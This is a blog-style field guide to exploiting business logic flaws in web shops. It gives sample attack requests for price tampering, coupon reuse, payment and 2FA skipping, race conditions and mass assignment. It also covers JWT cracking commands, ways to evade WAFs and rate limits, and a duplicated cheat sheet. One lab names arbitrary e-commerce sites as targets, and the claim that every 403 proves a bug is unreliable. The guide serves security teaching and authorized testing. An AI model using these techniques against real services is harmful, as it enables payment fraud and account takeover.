Sitemap

Business Logic Vulnerabilities — Field Guide

13 min read1 day ago

--

Business logic flaws: Design flaws letting users manipulate workflows (like altering prices) undetected by automated scanners.

Press enter or click to view image in full size

## 1. What Are Business Logic Vulnerabilities?

Every app has rules: redeem coupon once, pay before order confirmed only admins access /admin”. Business logic flaws happen when attackers abuse the assumptions developers made — not through broken code, but through broken logic. The hotel example: Book 3 nights 4th free → attacker books 3 gets discount, cancels 2. Discount stays. Code works fine. Logic is wrong.

| Technical | Business Logic |

| — — | — — |

| SQLi, XSS, Buffer Overflow | Price tampering, skip workflow, race condition |

| Code is technically wrong | Code works, logic is wrong |

| Scanners detect it | Human brain required |

— -

## 2. Why More Dangerous Than Technical Bugs

- No scanner detects them: Unique per app, no payload signature

- Direct financial impact: Price tampering = millions drained

- Invisible in logs: quantity: -1 looks like a normal API call

Real case: PayPal (2011) — currency conversion miscalculation due to unsupported currencies. No SQLi no XSS. Just logic.

— -

## 3. The Attacker’s Mindset

1. Map the app: Walk every feature, understand intent

2. Find trust boundaries: Parameters, hidden fields, cookies, headers, request order

3. Break assumptions: Negative numbers? Zero? Overflow? Skip steps? Repeat requests? Add unexpected fields?

4. Observe responses: Status codes, body changes, timing differences, new cookies

— -

## 4. Type 1 — Price & Quantity Tampering

Server trusts client-provided prices. Intercept checkout → modify price/quantity fields.

# Normal: {"unit_price": 1299.99}
# Modified:
POST /api/checkout HTTP/1.1
{"items": [{"product_id": "LAPTOP-XPS", "unit_price": 0.01}]}
→ 200 OK, charged $0.01

Negative quantity (get paid):


POST /api/cart/update HTTP/1.1
{"items": [{"product_id": "HEADPHONES", "quantity": -2, "unit_price": 250}]}
# total = -500 → server owes you money

Integer overflow:

{"quantity": 2147483648, "unit_price": 10}
# 32-bit overflow → wraps to negative → free order

🔍 Finding it: Check hidden HTML fields, localStorage, Base64 params, JSON body params.

### 🔥 403 Bypass

WAF blocks your modified price? 7 ways around it:

1. Cart injection: Modify price at /cart/update instead of /checkout

2. Negative qty: WAF checks price but not quantity

3. Overflow: Send astronomically large number → wraps to 0

4. Type confusion: -1 (string), -1.0 (float), 1e-10 (scientific), \u002D1"` (unicode)

5. XML switch: WAF inspects JSON only → Content-Type: application/xml

6. Fix checksum: Find checksum logic in JS source, recalculate with new price

7. Alt endpoint: /api/v2/checkout, /api/order, /graphql

### 🧪 Lab

PortSwigger: Excessive trust in client-side controls → change price from 100 to 0.01

— -

## 5. Type 2 — Coupon & Discount Abuse

Server fails to track coupon usage, doesn’t bind coupons to users, or allows concurrent applications.

Reuse single coupon:

POST /api/coupon/apply  {"coupon_code": "WELCOME30"}
# → 30% off
POST /api/coupon/apply {"coupon_code": "WELCOME30"}
# → another 30% off (should have been blocked)
# Repeat until $0

Stack multiple coupons (if one-per-request limit exists, send sequentially):

POST /api/cart/apply-coupon  {"coupon_code": "SAVE10"}  → 10% off
POST /api/cart/apply-coupon {"coupon_code": "FLASH20"} → 20% off stacked

Predictable codes — enumerate

PROMO-10001, PROMO-10002... → Burp Intruder with §10001§ payload
Filter: "success": true

Unbound coupon — use account A’s coupon on account B:

Cookie: session=account-B
POST /api/coupon/apply {"coupon_code": "NEWUSER-A1B2C3"} → 50% off (stolen)

### 🔥 403 Bypass

1. Multi-account: Coupon not user-bound? Create 10 accounts, apply same coupon on each

2. IP rotation: Rotate X-Forwarded-For header per request → server sees different users

3. Race condition: Send 20 identical coupon requests simultaneously → server processes all before writing `used=true

4. Sequential stacking: Bulk blocked? Send coupons one at a time via `/cart/apply-coupon`

5. Skip activation: Coupon requires email verification to activate? Try using it directly in checkout

### 🧪 Lab

Apply the same coupon repeatedly. If it works after the 1st time → vulnerable. Enumeration: Burp Intruder with `PROMO-§10001§`.

— -

## 6. Type 3 — Workflow Bypass

Server assumes users follow multi-step processes in order. Skip critical steps when backend doesn’t enforce completion.

Skip payment in checkout:

Normal: cart → shipping → PAYMENT → review → confirm
Attack: cart → shipping → CONFIRM (jump over payment)
POST /checkout/confirm HTTP/1.1
{"cart_id": "CART-992", "card_token": "null"}
→ 200 OK (order confirmed without payment!)

2FA bypass:

POST /login  {"username": "victim", "password": "pass"}
→ 200, Set-Cookie: session=PARTIAL-TOKEN, "2fa_required"

# Jump to dashboard without 2FA code:

GET /dashboard Cookie: session=PARTIAL-TOKEN

→ 200 (full access — $5k–$20k bounty vuln)

Token leakage: Reset token in HTTP response body → attacker steals it

Token not bound to user: Use YOUR reset token on VICTIM’s email

### 🔥 403 Bypass

1. Response tampering: Intercept /checkout/payment response, change payment_verified: false` → true

2. HTTP method switch: POST /checkout/confirm blocked? Try GET, PUT, PATCH

3. Query params: Add ?step=payment&status=completed, ?debug=true, ?force=true

4. 2FA headers: X-2FA-Verified: true, X-2FA-Code: 000000, X-2FA-Bypass: true`

5. Token reuse: Use your verification token on victim’s reset endpoint

6. CORS: Change `Origin` header to match the target domain

### 🧪 Lab

PortSwigger: “Insufficient workflow validation” — skip payment step, order confirmed for free.

— -

## 7. Type 4 — Race Condition

Two requests execute simultaneously; server reads the same state twice before writing either. Both succeed.

Normal: Read $100 → Deduct → Write $0 (one operation)

Race: Req1 reads $100, Req2 reads $100 (before Req1 writes!) → both deduct → $200 drained from $100

Python race script:

# 25 threads send the same coupon redemption at once
threads = [threading.Thread(target=send_request) for _ in range(25)]
for t in threads: t.start()
for t in threads: t.join()
# Count successes — if > 1, race condition exists
```

Turbo Intruder (single TCP burst):
```python
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1, requestsPerConnection=100, pipeline=True)
for i in range(50):
engine.queue(target.req, i)

HackerOne was vulnerable to this (2021) — referral bonus claimed 30× instead of 1×.

Look for: coupon claims, referral bonuses, gift cards, votes, balance transfers.

### 🔥 403 Bypass

Rate limiter blocks you? `X-RateLimit-Limit: 10, Retry-After: 60`

1. Turbo Intruder pipeline: Sends all requests before server counts the first

2. HTTP/2 single-packet: Burp → enable HTTP/2 → “Send group in single packet”

3. Session rotation: Spread requests across 10+ sessions (5 req each = no limit)

4. Slow down: 100ms gaps between requests — some race windows are that wide

5. IP rotation: Random X-Forwarded-For per request

6. Random delays: 1–50ms uniform distribution → looks like natural traffic

### 🧪 Lab

Burp: send 30 identical coupon applications via Turbo Intruder pipeline. Check how many succeeded.

— -

## 8. Type 5 — Privilege & Role Escalation

Server accepts role/privilege info from client or fails to enforce authorization server-side.

Mass Assignment (GitHub 2012):

POST /api/register HTTP/1.1
{"username": "attacker", "email": "a@a.com", "password": "pass",
"role": "admin", "is_admin": true, "credits": 99999}

ORM auto-maps all fields → instant admin. GitHub got hacked this way.

IDOR — view other users’ data:

GET /api/user/profile?user_id=1338  # change from your 1337 to 1338
→ returns victim's email, phone, address

Header injection — trust headers from client:

X-User-Role: admin
X-Admin: true
X-Internal-Request: true

Some internal auth systems skip checks when these are present.

JWT attacks:

- Set alg: none with empty signature → admin

- Crack weak secret: hashcat -m 16500 <jwt> rockyou.txt

- Algorithm confusion: use public key as HMAC secret (jwt_tool)

### 🔥 403 Bypass

1. Role bruteforce: Try moderator, editor, support, manager, owner, operator…

2. JWT confusion: python jwt_tool.py <JWT> -X a -pb

3. IDOR on admin: GET /admin?user_id=1 (first user = admin)

4. Path traversal: GET /api/../admin/users (bypasses auth middleware)

5. GraphQL: REST blocked? Try POST /graphql {query: query { users { id, role } }}

6. Fuzz hidden admin panels: ffuf -w admin-panels.txt -mc 200,401,403

### 🧪 Lab

DVWA: register with extra `”role”: “admin”` field. IDOR: change user_id to view other profiles.

## 9. Type 6 — Partial & Client-Side Validation

### The Vulnerability

Developers sometimes perform validation only in JavaScript on the front end, or validate only part of the input on the backend. Attackers bypass front-end validation using Burp Suite (the request never touches the browser’s JS) or bypass partial backend validation by manipulating unchecked fields.

### Example 1 — Client-Side Only Validation

HTML form with JavaScript validation:

<form onsubmit="return validateAge()">
<input type="number" id="age" name="age" min="18" max="120">
<button type="submit">Register</button>
</form>

<script>
function validateAge() {
const age = document.getElementById('age').value;
if (age < 18) {
alert('You must be 18 or older');
return false;
}
return true;
}
</script>

The JavaScript runs in the browser. Burp Suite intercepts the request after JavaScript runs. The attacker simply modifies the intercepted request:

POST /register HTTP/1.1

username=hacker&age=12&country=US

If the server does not validate age → under-age account created. Same applies to price fields, quantity limits, and any other business rule enforced only in JavaScript.

### Example 2 — Hidden Form Fields

<form action="/checkout" method="POST">
<input type="hidden" name="product_id" value="SKU-882">
<input type="hidden" name="price" value="299.99">
<input type="hidden" name="discount_applied" value="false">
<button type="submit">Buy Now</button>
</form>

The user sees only a Buy Now button. But Burp Suite shows all hidden fields. The attacker modifies:

POST /checkout HTTP/1.1

product_id=SKU-882&price=0.01&discount_applied=true

## Example 3 — Email Verification Bypass

# Registration
POST /register HTTP/1.1
{"email": "attacker@email.com", "password": "pass123"}
# Response
{
"user_id": 7731,
"status": "pending_verification",
"message": "Check your email for verification link"
}

# Normal next step: click link in email

# Attack: what if we just set is_verified=true directly?

PATCH /api/user/7731 HTTP/1.1
Cookie: session=newly-created-session

{"is_verified": true, "email_confirmed": true}
{"success": true, "user": {"id": 7731, "verified": true}}

Account fully activated without email verification.

— -

### 🔥 403 Bypass for Client-Side Validation

A form requires age >= 18 on the frontend. You send age=12 via Burp:

HTTP/1.1 403 Forbidden
{"error": "Validation failed: age must be >= 18"}

Why? Backend has its own validator too. The 403 tells you: this isn’t just JS — there’s server-side validation.

Bypass 1 — Map the validator boundaries (find the exact rules):

| Value | Result | Meaning |

| — — — -| — — — — | — — — — -|

| age=17 | 403 | Min is 18 |

| age=18 | 200 | Accepted |

| age=150 | 403 | Has max |

| age=0 | 403 | No zero |

| age=-1 | 403 | No negatives |

| age=abc | 500 | String? Crashed! |

| age=”18" | 200 | String accepted! |

Bypass 2 — Edge cases near the boundary:

age=18.0      → try (decimal)
age=18.0001 → try
age=018 → try (leading zero — some parsers see 018 ≠ 18)
age=+18 → try (plus sign)
age="18" → try (string)

Bypass 3 — Isolate which fields actually have validation:

POST /register  username=admin&age=12&email=test@test.com
→ 403 (age failed)
POST /register  username=admin&age=25&email=test@test.com  
→ 200 (everything passes)
POST /register  username=<script>alert(1)</script>&age=25&email=test@test.com
→ 200 (no XSS protection!)

Test each field individually. Find the ones with no validation.

Bypass 4 — Integer overflow on numeric fields:

age=2147483647   → try (max 32-bit)
age=2147483648 → try (overflows → negative!)
age=1.7977e+308 → try (infinity)

Bypass 5 — Unicode/encoding to bypass text validation:

email=victim@company.com         → 403 (blocked)
email=victim@company.cоm → try (Russian "о" ≠ Latin "o")
email=victim%40company.com → try (URL encoded @)
email=victim%2540company.com → try (double URL encoding)

Bypass 6 — Hidden fields control the logic:

<form>
<input type="hidden" name="max_allowed" value="100">
<input type="number" name="withdraw_amount" min="1" max="100">
</form>
POST /withdraw
max_allowed=999999&withdraw_amount=999999
→ 200 (withdrew 999,999 instead of 100!)

### 🧪 Lab — Client-Side Validation

Target: Any e-commerce site with hidden fields

Exercise:

```

1. F12 → Elements → find hidden inputs (price, discount, max, limit)

2. Burp: modify these values before forwarding

3. Try setting product price to 0.01

4. If 403 → try Content-Type: application/xml

// In browser console only:
document.querySelector('input[name="price"]').value = "0.01"
// Submit the form — did the server accept it?

## 10. Type 7 — The 403 Mindset & Bypass Arsenal

You’ll get 403 more often than 200 in bug bounty. A 403 is not a dead end — the endpoint exists, the bug is real. You triggered a guard. Bypass it.

| Response | Guard | Action |

| — -| — -| — -|

| CF-RAY, WAF_BLOCK` | WAF | Type confusion, XML switch, encoding, duplicate params |

| Retry-After, X-RateLimit-Remaining: 0 | Rate limit | Turbo Intruder pipeline, HTTP/2 single-packet, IP rotation |

| Access restricted to internal network | IP restriction | X-Forwarded-For: 127.0.0.1, X-Real-IP, True-Client-IP |

| Invalid CSRF token | Checksum | Find checksum logic in JS source, recalculate |

| Business logic gate | Server validation | Find different endpoint, chain operations |

Decision flow: 403 → read body → identify guard type → apply bypass → still blocked? → try alt endpoint

— -

## 11. Methodology & Tools

Recon: Walk app → map endpoints → identify trust boundaries → document every parameter

Test each param: 0, -1, overflow, string, null, array, object, duplicates

Flow check: Skip steps, reorder, modify intermediate responses

Concurrency: Turbo Intruder with pipeline, 100 req/connection

Tools: Burp Suite + Turbo Intruder + 403 Bypasser + Param Miner + ffuf

— -

## 12. Reporting

```

Title: “Price Manipulation — Purchase $1,300 Laptop for $0.01”

Steps: 1. Login 2. Add product 3. Intercept POST /checkout 4. Change unit_price to 0.01

PoC: HTTP request/response screenshots

Impact: Attacker buys any product at $0.01 → direct financial loss

```

Severity: Price Tampering → High/Critical, Race Condition → Critical, 2FA Bypass → Critical, Coupon reuse → Medium/High

— -

## 13. Defense

- Price: Never trust client price. Fetch from DB and calculate server-side

- Race: Atomic SQL: UPDATE coupons SET used=true WHERE code=X AND used=false

- Workflow: Track each step in server-side session state

- Mass assignment: Whitelist allowed fields explicitly

— -

## 14. Labs & Resources

PortSwigger: https://portswigger.net/web-security/logic-flaws (8 labs)

DVWA: docker pull vulnerables/web-dvwa → localhost:80

WebGoat: docker pull webgoat/webgoat` → localhost:8080

Juice Shop: docker pull bkimminich/juice-shop → localhost:3000

Bug bounty programs: Shopify, Zendesk, Uber, Doordash (HackerOne/Bugcrowd)

Past reports: HackerOne Hacktivity → filter “Business Logic” + bounty > $500

7-Day Challenge: Day 1 Price → Day 2 Coupon → Day 3 Workflow → Day 4 Race → Day 5 Privilege → Day 6 403 Bypass → Day 7 Full Chain

Full chain drill: Price to $0.01 (403 → cart bypass) + Stack 3 coupons (403 → sequential) + Free shipping (403 → hidden field) = free max-discount order.

— -

## Quick Reference Cheat Sheet

║ BUSINESS LOGIC VULNS — QUICK CHEAT SHEET ║

║ PRICE TAMPERING ║

║ — Intercept checkout → modify: unit_price, total, ║

║ grand_total, amount, cost, value, subtotal ║

║ — Try: 0, 0.01, -1, negative numbers, overflow ║

║ 403→cart update endpoint, XML switch, type confusion ║

║ ║

║ COUPON ABUSE ║

║ — Apply same coupon repeatedly ║

║ — Stack different coupons ║

║ — Enumerate predictable codes (Burp Intruder) ║

║ — Check if coupon is bound to user account ║

║ 403→multi-account, IP rotation, race condition ║

║ ║

║ WORKFLOW BYPASS ║

║ — Map all steps → skip to final step directly ║

║ — Modify intermediate responses (verified→true) ║

║ — After 2FA step 1, try protected resources directly ║

║ — Check query params: ?step=payment&status=completed ║

║ 403→change HTTP method, add bypass headers, ║

║ use GraphQL endpoint instead ║

║ ║

║ RACE CONDITION ║

║ — One-time actions: coupon, referral, bonus, vote ║

║ — Python threading: 20–50 simultaneous requests ║

║ — Burp Turbo Intruder: single-packet attack ║

║ — HTTP/2: send group in single packet ║

║ 403→pipeline mode, session rotation, slow down ║

║ ║

║ PRIVILEGE ESCALATION ║

║ — Mass Assignment: add role, is_admin to registration ║

║ — IDOR: change user_id, account_id in requests ║

║ — Admin headers: X-Admin, X-User-Role, X-Internal ║

║ — JWT: set alg=none, crack weak secret ║

║ 403→role bruteforce, path traversal, GraphQL ║

║ ║

║ CLIENT-SIDE VALIDATION ║

║ — Hidden fields: price, discount, max_allowed ║

║ — Burp bypasses JS validation automatically ║

║ — Try edge cases: leading zeros, scientific, Unicode ║

║ 403→test each field individually, use encoding ║

║ ║

║ THE 403 BYPASS MASTER MATRIX ║

║ ┌─────────────────────────────────────────────────────┐ ║

║ │ WAF block → XML, URL-encode, type confusion, │ ║

║ │ parameter pollution, Content-Type │ ║

║ │ Rate limit → IP rotation, session rotation, │ ║

║ │ slow down, Turbo Intruder pipeline │ ║

║ │ IP restrict → X-Forwarded-For: 127.0.0.1, │ ║

║ │ X-Real-IP, True-Client-IP │ ║

║ │ Checksum → inspect JS source, recalculate │ ║

║ │ Logic block → find different endpoint, chain steps │ ║

║ GOLDEN RULE: If you got 403 → the vulnerability exists. ║

║ You just triggered a guard. Find the side door. ║

## Quick Reference Cheat Sheet

║ BUSINESS LOGIC VULNS — QUICK CHEAT SHEET ║

PRICE TAMPERING ║

— Intercept checkout → modify: unit_price, total,

grand_total, amount, cost, value, subtotal

— Try: 0, 0.01, -1, negative numbers, overflow

║ 403→cart update endpoint, XML switch, type confusion

║ ║

║ COUPON ABUSE ║

— Apply same coupon repeatedly

— Stack different coupons

— Enumerate predictable codes (Burp Intruder)

— Check if coupon is bound to user account

403→multi-account, IP rotation, race condition

║ ║

WORKFLOW BYPASS ║

— Map all steps → skip to final step directly

— Modify intermediate responses (verified→true)

— After 2FA step 1, try protected resources directly

— Check query params: ?step=payment&status=completed

403→change HTTP method, add bypass headers,

use GraphQL endpoint instead

║ ║

RACE CONDITION

— One-time actions: coupon, referral, bonus, vote

— Python threading: 20–50 simultaneous requests

— Burp Turbo Intruder: single-packet attack

— HTTP/2: send group in single packet

403→pipeline mode, session rotation, slow down

║ ║

║ PRIVILEGE ESCALATION

Mass Assignment: add role, is_admin to registration

IDOR: change user_id, account_id in requests

Admin headers: X-Admin, X-User-Role, X-Internal

JWT: set alg=none, crack weak secret

403→role bruteforce, path traversal, GraphQL

║ ║

CLIENT-SIDE VALIDATION

Hidden fields: price, discount, max_allowed

Burp bypasses JS validation automatically

Try edge cases: leading zeros, scientific, Unicode

403→test each field individually, use encoding

THE 403 BYPASS MASTER MATRIX

WAF block → XML, URL-encode, type confusion

parameter pollution, Content-Type

Rate limit → IP rotation, session rotation,

slow down, Turbo Intruder pipeline

IP restrict → X-Forwarded-For: 127.0.0.1,

X-Real-IP, True-Client-IP

Checksum → inspect JS source, recalculate

Logic block → find different endpoint, chain steps

GOLDEN RULE: If you got 403 → the vulnerability exists

You just triggered a guard. Find the side door

This document is intended for educational purposes and authorized security testing only. Always obtain written permission before testing any system you do not own

--

--